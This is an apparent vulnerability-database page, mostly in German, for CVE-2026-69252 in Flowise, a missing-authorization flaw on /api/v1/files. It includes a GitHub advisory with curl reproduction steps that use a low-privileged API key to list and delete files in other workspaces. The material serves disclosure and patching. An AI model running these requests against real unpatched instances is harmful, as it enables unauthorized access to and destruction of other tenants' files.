CVE-2026-69252
highPriorität · verfolgen · 35OT-Risiko · erhöhtEPSS 0.005 · 45. PerzentilDEEUUSEPSS · bewertet 2026-10-27
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 5.1–8.8
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (5)
Betroffene Produkte und Versionsbereiche.
Advisories (2)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2026-2589Flowise: Mehrere SchwachstellenDeutsch2026-07-29csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Code auszuführen – sogar mit Root-Rechten –, erweiterte Privilegien zu erlangen, Sicherheitsmaßnahmen zu umgehen, Sitzungen zu kapern sowie Daten offenzulegen oder zu manipulieren.
- GHSA-wp74-f5hh-5f3rFlowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization2026-08-04ghsa · osvUS
# summary: In Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization. # details: The `/files` route is mounted with `IdentityManager.checkFeatureByPlan('feat:files')` only and has no additional permission middleware. In the controller: - `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root - `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path` As a result, the API key’s `permissions` and `activeWorkspaceId` are not used to restrict file access. In the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `["tools:view"]` was created, then successfully: - called `GET /api/v1/files` and received `200 OK` - listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446` - called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK` - confirmed the file was removed by re-querying the file list # impact: Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering. # reproduction steps: 1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example: ```bash curl -i -b tamako.cookie \ -H 'x-request-from: internal' \ -H 'Content-Type: application/json' \ -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \ http://localhost:8080/api/v1/apikey ``` 2. Record the returned API key. In my local test, the key was: - `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E` 3. Prepare a test file under a different workspace within the same organization, for example: - `f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` 4. Use the low-privileged API key to list files: ```bash curl -i \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ http://localhost:8080/api/v1/files ``` 5. Observe a `200 OK` response that includes a file from another workspace, for example: ```json [{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}] ``` 6. Use the same API key to delete that file: ```bash curl -i -X DELETE --get \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \ http://localhost:8080/api/v1/files ``` 7. Observe a `200 OK` response: ```json {"message":"file_deleted"} ``` 8. Call `GET /api/v1/files` again and confirm that the file is no longer present.
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (13)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/FlowiseAI/Flowise/commit/bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbbcnnvd
- https://github.com/FlowiseAI/Flowise/pull/6435cnnvd
- https://github.com/FlowiseAI/Flowise/releasesPatchcnnvd
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3cnnvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wp74-f5hh-5f3rcnnvd
- https://github.com/FlowiseAI/Flowise/commit/bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbbenisa_euvd
- https://github.com/FlowiseAI/Flowise/pull/6435enisa_euvd
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3enisa_euvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan